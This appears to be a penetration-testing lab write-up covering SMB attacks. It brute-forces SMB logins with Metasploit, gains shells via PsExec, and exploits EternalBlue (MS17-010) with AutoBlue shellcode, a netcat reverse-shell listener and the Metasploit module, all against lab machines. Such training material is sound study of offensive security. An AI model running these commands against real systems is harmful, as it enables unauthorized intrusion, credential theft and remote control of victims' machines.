🔬SMB - PsExec
Lab 1
Target IP:
10.4.16.36SMB exploitation
Dictionaries to use:
/usr/share/metasploit-framework/data/wordlists/common_users.txt
/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
Enumeration
ping 10.4.16.36
nmap -sV -sC 10.4.16.36PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=EC2AMAZ-408S766
| Not valid before: 2023-03-11T17:43:37
|_Not valid after: 2023-09-10T17:43:37
|_ssl-date: 2023-03-12T17:47:48+00:00; 0s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-03-12 23:17:49
|_ start_date: 2023-03-12 23:13:37
📌 SMB version 2.02
SMB Brute-force
Use Metasploit smb_login module to brute force SMB
The brute force success is based on the users and password used.
msfconsolesearch smb_login
use auxiliary/scanner/smb/smb_login
set RHOSTS 10.4.16.36
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false
exploit
[+] 10.4.16.36:445 - 10.4.16.36:445 - Success: '.\sysadmin:samantha'
[+] 10.4.16.36:445 - 10.4.16.36:445 - Success: '.\demo:victoria'
[+] 10.4.16.36:445 - 10.4.16.36:445 - Success: '.\auditor:elizabeth'
[+] 10.4.16.36:445 - 10.4.16.36:445 - Success: '.\administrator:qwertyuiop' AdministratorSMB Exploitation
Use PsExec.py script for Linux (from the impacket-scripts) to get a command prompt on the target machine, with the Administrator account.
Using this technique, no exploit is launched or uploaded on the target system.
It is a legitimate authentication with the actual credentials and the use of an official tool (
psexec).
psexec.py [email protected] cmd.exe
Alternatively to the Python script, use Metasploit psexec module to get a
meterpretersession on the target system.This technique will upload and run a (malicious) payload on the target. Pay attention to the antivirus!
msfconsole
search psexec
use exploit/windows/smb/psexec
set RHOSTS 10.4.16.36
set SMBUser Administrator
set SMBPass qwertyuiop
# Make sure the LHOST = your host IP address
exploit
Find the flag, running
meterpretercommands
shell
# will provide a cmd shell on the target machine
cd \
dir
type flag.txt
Lab 2 - Eternal Blue (Extra)
🔬 Home Lab
I have prepared a vulnerable Windows 2008 R2 Virtual Machine and connected it to the same network of the Kali virtual machine. On the server, I have activated
File Servicesrole and created a shared folder with the Administrators Group.
Host system:
Kali LinuxTarget system:
Windown Server 2008 R2- IP192.168.31.131-Administrator:Eternal17010Exploitation tool: AutoBlue-MS17-010
Vulnerability: CVE-2017-0143 - EternalBlue + CVE-2017-0144
Enumeration
nmap -sV -sC 192.168.31.131
sudo nmap --script smb-vuln-ms17-010 -p445 192.168.31.131
📌 The system is vulnerable to the
CVE-2017-0143
Manual Exploitation
AutoBlue-MS17-010 will be used for the manual exploitation
cd
mkdir tools
cd /home/kali/tools
sudo git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
cd AutoBlue-MS17-010
pip install -r requirements.txtGenerate a shellcode that will be exploited on the target system.
cd shellcode
chmod +x shell_prep.sh
./shell_prep.sh
# LHOST = Host Kali Linux IP
# LPORT = Port Kali will listen for the reverse shell
Set a
netcatlistener on the specified port, in another terminal tab
nc -nvlp 1234In the
AutoBlueterminal tab, use theeternalblue_exploit7.pyto exploit the target from the AutoBlue-MS17-010 directory
cd ..
chmod +x eternalblue_exploit7.py
python eternalblue_exploit7.py 192.168.31.131 shellcode/sc_x64.binCheck the
netcattab for the reverse shell
Automatic Exploitation
msfconsolesearch eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.31.131
exploit
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